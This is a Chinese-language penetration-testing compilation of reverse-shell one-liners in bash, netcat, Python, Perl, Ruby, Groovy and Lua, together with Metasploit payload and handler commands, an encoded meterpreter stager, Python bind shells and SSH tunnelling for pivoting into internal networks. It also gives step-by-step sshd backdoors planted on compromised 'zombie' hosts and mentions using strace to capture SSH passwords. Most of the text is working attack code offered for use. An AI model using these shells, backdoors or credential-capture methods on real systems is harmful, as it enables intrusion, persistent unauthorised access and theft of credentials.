转自:关注安全技术
from:
http://www.freebuf.com/tools/15364.html
http://le4f.net/post/post/reverse-shell-during-the-penetration-test
https://www.91ri.org/13679.html
http://drops.wooyun.org/tips/1951
jsp端口转发
渗透过程中,由于windows和linux的差别以及运行语言环境的限制导致端口转发经常出现问题。于是自己写了个简单的JSP的端口转发脚本。仿造 LCX的功能,具有正向、反向、监听三种模式。对于目前数量众多的JAVA WEB网站来说,可以比较方便的实现端口转发。
在这里发布出来,小伙伴们使用过程中,如果发现什么bug欢迎提交哈~
参数说明
/KPortTran.jsp?
lip = local ip / 本地ip //一般为内网主机IP
lp = local port / 本地端口 //一般为内网主机端口
rip = remote ip / 远程ip //一般为外网连接者IP,或者内网其他主机
rp = remote port / 远程端口 //一般为外网连接者端口
lp2 = local port2 / 本地端口2 //本地监听转发时的第二个端口
m = mode / 运行模式 //合法的值有:listen tran slave三种
运行模式
m = listen
需要参数:lp、lp2
该模式下,会在本地监听两个端口,相互转发数据
m = tran
需要参数:lip、lp、rip、rp
该模式为正向转发下,会在本地的lip上监听lp端口,当有连接建立时,再连接rip的rp端口。并将lip的lp上接收到的数据发向rip主机的rp端口。
m = slave
需要的参数:lip、lp、rip、rp
该模式为反向转发,会分别连接主机lip的lp端口 和 主机rip的rp端口。并转发两者数据,可用于内网反连。
注意事项:
某些server上使用时,可能由于编码问题会报错,请根据实际情况,更改代码首行的编码设置。
为了隐蔽,没有设置错误信息返回。如果不能执行,请检查一下参数。
测试截图与源代码:
脚本下载地址:http://pan.baidu.com/s/1eQjNPce
部分linux发行版中的Bash可以直接反弹一个shell到指定ip端口
bash -i >& /dev/tcp/x.x.x.x/2333 0>&1
Netcat反弹shell也是常用兵器,经典命令参数-e
nc -e /bin/sh x.x.x.x 2333
但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 2333 >/tmp/f
或者本地监听两个端口,通过管道,一处输入,一处输出
nc x.x.x.x 2333|/bin/sh|nc x.x.x.x 2444
其他方式基本沿用以上思路,如将nc更换为telnet等
mknod backpipe p && telnet x.x.x.x 2333 0<backpipe | /bin/bash 1>backpipe
PHP环境下反弹shell,过去我们通常用phpspy等shell自带反弹即可,这里将其反弹部分代码提取出来,访问即可反弹到指定IP端口一个普通交互shell
下载地址:http://pan.baidu.com/s/10QWyi
访问,成功返回
但需要注意php需未禁用exec函数.另外,Metasploit的payload也提供各种反弹脚本,如
msf > msfpayload php/reverse_php LHOST=x.x.x.x LPORT=2333 R > re.php
生成文件内容像这样
将文件传入shell中,在msf中开一个handler
msf > use multi/handler
msf exploit(handler) > set PAYLOAD php/reverse_php
msf exploit(handler) > set LHOST x.x.x.x
msf exploit(handler) > set LPORT 2333
msf exploit(handler) > exploit
此时访问re.php,即可反弹到本地一个shell
当然,用nc直接监听端口也是可以的
其他可以考虑使用msf编码变形等,github也有这样一个脚本
https://github.com/keshy/cwg_tools/blob/master/php-reverse-shell.php
可供参考
JSP类似,使用msf生成一个反弹shell
msfpayload java/jsp_shell_reverse_tcp LHOST=x.x.x.x R > re.jsp
然后在msf中开一个handler
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD java/jsp_shell_reverse_tcp
msf exploit(handler) > set LHOST 192.168.10.1
msf exploit(handler) > exploit
类似方法即可反弹回shell
一个Python反弹shell的代码demo
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
整洁规范的Python写法应该像是这样,更易懂些:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("x.x.x.x",2333))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
其他脚本像这样子
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('x.x.x.x',2333))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
msf的payload给出这样的解法
msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=2333
生成编码后文件:
import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMC4wLjAuMCcsMjMzMykpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YoNDA5NikKd2hpbGUgbGVuKGQpIT1sOgoJZCs9cy5yZWN2KDQwOTYpCmV4ZWMoZCx7J3MnOnN9KQo='))
Base64解码后:
import socket,struct
s=socket.socket(2,1)
s.connect(('x.x.x.x',2333))
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(4096)
while len(d)!=l:
d+=s.recv(4096)
exec(d,{'s':s})
此处补充上phith0n同学的正向连接bind_shell
关于交互式正向连接shell,几点需要注意的地方
1.不管在linux还是windows下,想要做到交互式,只能开启一个shell.不能够每次接收到命令就再开启一个shell进程,然后执行.
2.windows下cmd.exe /K参数是保持cmd不结束,/c参数是执行完后就结束,注意区别.
最终Win版本:
from socket import *
import subprocess
import os, threadingdef send(talk, proc):
import time
while True:
msg = proc.stdout.readline()
talk.send(msg)if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',23333))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen('cmd.exe /K', stdin=subprocess.PIPE,
stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
t = threading.Thread(target = send, args = (talk, proc))
t.setDaemon(True)
t.start()
while True:
cmd=talk.recv(1024)
proc.stdin.write(cmd)
proc.stdin.flush()
server.close()
Linux版本:
from socket import *
import subprocess
import os, threading, sys, timeif __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',11))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen(["/bin/sh","-i"],stdin=talk,stdout=talk, stderr=talk, shell=True)
执行后主动连接即可
首先给一个原理类似的脚本
perl -e 'use Socket;$i="x.x.x,x";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
然后是一个不依赖调用/bin/bash的方法
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
一个完整的反弹pl脚本
下载地址:http://pan.baidu.com/s/1pJkRws7
惯例,首先一个调用/bin/sh的
ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",2333).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
一个不依赖于/bin/sh的反弹shell:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Windows环境使用
ruby -rsocket -e 'c=TCPSocket.new("x.x.x.x","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
此外MSF中也有相应模块可以调用,就不多提
给出一个调用/bin/bash的脚本
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/2333;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
MSF中也有相应模块可以调用
lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','2333');os.execute('/bin/sh -i <&3 >&3 2>&3');"
类似不做解释
上面总结反弹shell的各种已知主流或非主流方式,下面扯一下端口转发.
已知的大众方式如:
lcx老牌工具
htran/fport/fpipe等
antifw修改3389端口为80
reduh提供了借助http/https隧道连接3389的另一种方式
tunna给出了比reduh更稳定快速的解决方法
在Linux环境下,则可考虑借助脚本实现,如Perl/Python等.
知道创宇Knownsec曾给出一个rtcp.py脚本做转发之用,不过测试发现只支持单点连接,推荐使用此脚本,支持多client同时连接
脚本下载地址:http://pan.baidu.com/s/1qWQgOaC
使用方式如
python xxx.py -l 0.0.0.0 -p 3389 -r x.x.x.x -P 443
至于Perl脚本,网络中也有相关资料,大家可自行修改使用.
如果对目标服务器已获得较高权限,可添加vpn或socks代理,[email protected]写的
一个可用socks.py脚本可以更易的完成socks代理添加
使用方式如:
nohup python s5.py 1080 &
只有Webshell的情况下,又需要对内网某web服务进行访问测试,但没有充足的精力手工借助webshell进行请求,需要将这一过程自动化,xsjswt给出这样一种思路.
将如下脚本以shell权限丢至服务器
http://pan.baidu.com/s/1FeeKm
另搭建一nginx服务器,添加如下配置
server {
listen 监听端口;
location ~ () {
proxy_pass http://shell-ip/文件存放目录/proxy.php?url=http://$host/$request_uri;
proxy_set_header Host "访问webshell所用域名";
}
}
重新加载nginx配置,本地浏览器http代理设置为nginx服务器ip及监听端口,即可实现初步的代理请求.
ssh -L5432:host_A:12345 [email protected]_B
作用:将本地机(客户机)的某个端口转发到远端指定机器的指定端口.
工作原理:本地机器上分配了一个 socket 侦听 port 端口(5432端口), 一旦这个端口上有了连接, 该连接就经过本地计算机与远程计算机host_B的安全通道转发出去, 此时本地主机与远程主机之间的通信是加密的。同时远程主机host_B和 host_A 的 hostport 端口(12345端口)建立连接,此时远程主机host_B与目标主机host_A的通信是没有加密的。
操作如下: 在远程主机用netcat监听12345端口,执行命令使远程主机的12345端口与本地的5432端口相连(注意操作的顺序问题,为了和下面的-R参数做区分)
这个时候telnet本地的5432端口,就相当于接到了远程主机的12345端口上:
应用场景一:
在本地主机上执行以下的命令,你想要访问受限网站staff.washington.edu,通过homer.u这台被你控制的主机进行中转:
ssh -L3210:staff.washington.edu:80 some-server
我们在浏览器上打开http://localhost:3210/corey/info.cgi 就相当于访问http://staff.washington.edu:80/corey/info.cgi
应用场景二:
你拿下了目标的一台业务系统的服务器,刚好这台服务器host_A能够与外网主机通信,也能访问内网主机host_B:
ssh -L3210:host_B:80 host_A
此时即可通过访问本地的3210端口来访问到目标机子上的80端口,便可以进行内网渗透了。
ssh2 -L socks/3210 homer.u # if using commercial ssh2
ssh -2 -D 3210 homer.u # if using a recent OpenSSH
作用:充当本地soscks服务器
工作原理:指定一个本地机器 “动态的” 应用程序端口转发. 先 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接..而且本地主机与远程主机之间的通信是加密的。
浏览器设置socks代理:
成功突破GFW的限制:
应用场景:可以干什么不用我说了吧!
ssh -R4567:localhost:80 some-server
作用:将本地端指定机器的指定端口转发到远程主机(服务器)的某个端口
工作原理: 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host 的 hostport 端口建立连接.
操作如下:使用netcat在本地监听12345端口,在使用命令将本地12345端口反向连接到远程主机的5432端口上
此时Telnet远程主机的5432端口,即可连接到本地主机的12345端口上:
其实-R和-L参数的原理差不多,我手绘了一张图帮助大家理解一下(不要嫌丑啊,看懂就行):
从上面的图可以看出,-R参数和-L参数的应用场景是一模一样的,区别有两点:第一是执行命令的地方,第二是中转主机的条件限制,中转主机一般就是我们在渗透中获得的“口子”(渗透的入口,一般是web业务应用系统),根据口子的条件限制,我们采用的中转方式也不同:
-L参数使用于中转机能与外网直接相连,没有防火墙的限制,并且中转机有双网卡,能够直达内网。当然,这种情况在渗透中极其少见,一般遇到一台就偷笑了。(不过在更大型的网络结构中,找到具有双网卡的内网主机,往往是渗透的突破口)。
我们经常与到的场景是,业务服务器部署在DMZ区,甚至部署在内网区域。通过路由器的端口映射将业务端口映射到外网供用户访问。拿到“口子”之后,中转主 机具有内网IP。这个时候,-R参数就起作用了。通过反向连接,将内网的流量中转到外网的肉鸡上,然后再进行下一步的渗透攻击。
-f Fork into background after authentication.
后台认证用户/密码,通常和-N连用,不用登录到远程主机。
-N Do not execute a shell or command.
不执行脚本或命令,通常与-f连用。
-C Enable compression.
压缩数据传输。
-g Allow remote hosts to connect to forwarded ports.
在-L/-R/-D参数中,允许远程主机连接到建立的转发的端口,如果不加这个参数,只允许本地主机建立连接。
肉鸡上执行:
[email protected]:~# ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;
就会派生一个31337端口,然后连接31337,用root/bin/ftp/mail当用户名,密码随意,就可登陆。
在肉鸡上执行:
[[email protected] ~]# cd /usr/sbin
[[email protected] sbin]# mv sshd ../bin
[[email protected] sbin]# echo '#!/usr/bin/perl' >sshd
[[email protected] sbin]# echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
[[email protected] sbin]# echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
[[email protected] sbin]# chmod u+x sshd
[[email protected] sbin]# /etc/init.d/sshd restart
在本机执行:
socat STDIO TCP4:10.18.180.20:22,sourceport=13377
如果你想修改源端口,可以用python的struct标准库实现
>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A
搞定主机后,往往想记录肉鸡SSH连接到其他主机的密码,进一步扩大战果,使用strace命令就行了。
效果图:
好文推荐